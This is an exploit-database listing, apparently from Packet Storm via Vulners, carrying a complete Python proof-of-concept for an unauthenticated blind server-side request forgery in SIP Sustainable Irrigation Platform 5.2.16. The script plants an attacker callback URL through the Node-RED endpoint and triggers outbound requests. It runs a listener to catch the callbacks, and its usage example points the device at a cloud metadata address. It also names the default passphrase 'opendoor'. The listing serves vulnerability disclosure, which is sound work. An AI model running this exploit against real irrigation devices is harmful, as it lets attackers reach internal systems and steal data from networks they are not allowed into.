Lucene search
+L

📄 SIP Sustainable Irrigation Platform 5.x Server-Side Request Forgery

🗓️ 14 Jul 2026 00:00:00Reported by LiquidWormType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 57 Views

SIP 5.x SSRF lets an attacker trigger server-side requests via a callback URL, often without auth.

Code
#!/usr/bin/env python3
    #
    #
    # SIP Sustainable Irrigation Platform 5.x (nr-url) Blind SSRF
    #
    #
    # Vendor: Dan-in-CA
    # Product web page: https://github.com/Dan-in-CA/SIP
    # Affected version: 5.2.16
    #
    # Summary: SIP is a free Raspberry Pi based Python program for
    # controlling irrigation systems (sprinkler, drip, hydroponic,
    # etc). It uses web technology to provide an intuitive user
    # interface (UI) in several languages. The UI can be accessed
    # in your favorite browser on desktop, laptop, and mobile devices.
    # SIP has also been used to control pumps, lights, and other Irrigation
    # related equipment.
    #
    # Desc: The application accepts an attacker-supplied callback URL
    # and, when the optional Node-RED plugin is installed, later issues
    # server-side HTTP requests to that URL without validating it. This
    # can be exploited to make the device send requests to arbitrary internal
    # or external systems on the attacker's behalf, reaching services
    # that are otherwise not directly accessible. When the optional passphrase
    # is not enabled (factory default) configuring the URL and triggering
    # the request require no authentication, and where the passphrase is
    # enabled it defaults to 'opendoor'.
    #
    # -----------------------------------------------------------------------
    # $ python sip_ssrf.py 192.168.1.9 192.168.2.33 9000
    # === SIP SSRF PoC :: TARGET=http://192.168.1.9 ===
    # [*] Node-RED present (/jsin -> HTTP 200, ver="5.2.16")
    #
    # [*] nr-url payload : http://192.168.2.33:9000/ssrf-ZSL-PWN-1783027887
    #     a) set callback (unauth)    -> HTTP 303
    #     b) trigger outbound (unauth)-> HTTP 200
    #
    # [+] SSRF successful -- SIP made a server-side request to us:
    #         2026-07-02T23:31:28.393794 HIT POST /ssrf-ZSL-PWN-1783027887 from=192.168.1.9 body='water level set to 42'
    #
    # Done.
    #
    # -----------------------------------------------------------------------
    #
    # Tested on: Debian GNU/Linux 11 (bullseye) raspberrypi 6.1.21+ (armv6l/aarch64)
    #            Python 3.9.2
    #
    #
    # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    #                             @zeroscience
    #
    #
    # Advisory ID: ZSL-2026-5998
    # Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5998
    #
    #
    # 24.06.2026
    #
    
    from http.server import BaseHTTPRequestHandler, HTTPServer
    import urllib.parse
    import http.client
    import threading
    import datetime
    import time
    import ssl
    import sys
    
    if len(sys.argv) < 3:
        print("usage: python sip_exploit.py <target> <attacker> [aport] [ssrf-url]\n"
              "  <target>    SIP ip/host or ip/host:port (http:// or https:// optional)\n"
              "  <attacker>  ip/host phone home\n"
              "  [aport]     local listener port (default 9000)\n"
              "  [ssrf-url]  fire nr-url at this exact URL (blind), omit for auto canary\n"
              "example:\n"
              "  python sip_ssrf.py 2.2.2.2:8083 7.7.7.7 9000\n"
              "  python sip_ssrf.py 2.2.2.2:8083 7.7.7.7 9000 http://169.254.169.254/latest/meta-data/")
        sys.exit(1)
    
    TARGET   = sys.argv[1]
    ATTACKER = sys.argv[2]
    APORT    = int(sys.argv[3]) if len(sys.argv) > 3 else 9000
    SSRF_URL = sys.argv[4] if len(sys.argv) > 4 else None
    SCHEME   = "http"
    if   TARGET.startswith("https://"): SCHEME, TARGET = "https", TARGET[8:]
    elif TARGET.startswith("http://"):  SCHEME, TARGET = "http",  TARGET[7:]
    TARGET = TARGET.strip("/")
    
    MARK = "ZSL-PWN-%d" % int(time.time())
    HITS = []
    
    class Handler(BaseHTTPRequestHandler):
        def _go(self, method):
            n = int(self.headers.get("Content-Length", 0) or 0)
            body = self.rfile.read(n).decode("utf-8", "replace") if n else ""
            HITS.append("%s HIT %s %s from=%s body=%r"
                        % (datetime.datetime.now().isoformat(), method, self.path, self.client_address[0], body))
            self.send_response(200); self.send_header("Content-Length", "2"); self.end_headers(); self.wfile.write(b"ok")
        def do_GET(self):  self._go("GET")
        def do_POST(self): self._go("POST")
        def log_message(self, *a): pass
    
    def start_listener(port):
        try:
            srv = HTTPServer(("0.0.0.0", port), Handler)
        except OSError as e:
            raise SystemExit("[!] cannot bind 0.0.0.0:%d - %s" % (port, e))
        threading.Thread(target=srv.serve_forever, daemon=True).start()
    
    def req(method, path, body=None):
        host, _, port = TARGET.partition(":")
        port = int(port) if port else (443 if SCHEME == "https" else 80)
        if SCHEME == "https":
            conn = http.client.HTTPSConnection(host, port, timeout=12, context=ssl._create_unverified_context())
        else:
            conn = http.client.HTTPConnection(host, port, timeout=12)
        headers = {"Content-Type": "application/json"} if body is not None else {}
        conn.request(method, path, body=body, headers=headers)
        r = conn.getresponse(); data = r.read(); conn.close()
        return r.status, data
    
    def main():
        base = "%s://%s" % (SCHEME, TARGET)
        print("=== SIP SSRF PoC :: TARGET=%s ===" % base)
    
        # Check Node-RED
        try:
            s, data = req("GET", "/jsin?gv=ver_str")
        except Exception as e:
            raise SystemExit("[!] cannot reach %s : %s" % (base, e))
        if s == 404:
            raise SystemExit("[!] /jsin -> 404 : Node-RED plugin not loaded on target. SSRF not present.")
        print("[*] Node-RED present (/jsin -> HTTP %d, ver=%s)" % (s, data.decode("utf-8", "replace").strip()))
    
        if SSRF_URL:
            nr_url, confirmable = SSRF_URL, False
        else:
            start_listener(APORT)
            nr_url, confirmable = "%s://%s:%d/ssrf-%s" % (SCHEME, ATTACKER, APORT, MARK), True
        enc = urllib.parse.quote(nr_url, safe="")
    
        print("\n[*] nr-url payload : %s" % nr_url)
        s, _ = req("GET", "/node-red-save?nr-url=%s&chng-sd=on&chng-wl=on" % enc)
        print("    a) set callback (unauth)    -> HTTP %d" % s)
        try:
            s, _ = req("POST", "/jsin", body='{"sd":"wl","val":42}')
            print("    b) trigger outbound (unauth)-> HTTP %d" % s)
        except (TimeoutError, OSError):
            print("    b) trigger outbound (unauth)-> timed out: SIP is blocking the call to nr-url")
            print("       (no server-side timeout -> the request is being made, blind)")
    
        if not confirmable:
            print("\n[*] Fired (blind) at %s -- confirm via your own OOB canary / target-side timing." % nr_url)
            print("done."); return
    
        time.sleep(2)
        hits = [h for h in HITS if ("/ssrf-" + MARK) in h]
        if hits:
            print("\n[+] SSRF successful -- SIP made a server-side request to us:")
            for h in hits: print("        " + h)
        else:
            print("\n[-] no callback. checklist: %s:%d reachable from SIP (port-forward / firewall)? "
                  "(node_red confirmed above, so the egress path is the usual blocker.)" % (ATTACKER, APORT))
        print("\nDone.")
    
    if __name__ == "__main__":
        main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation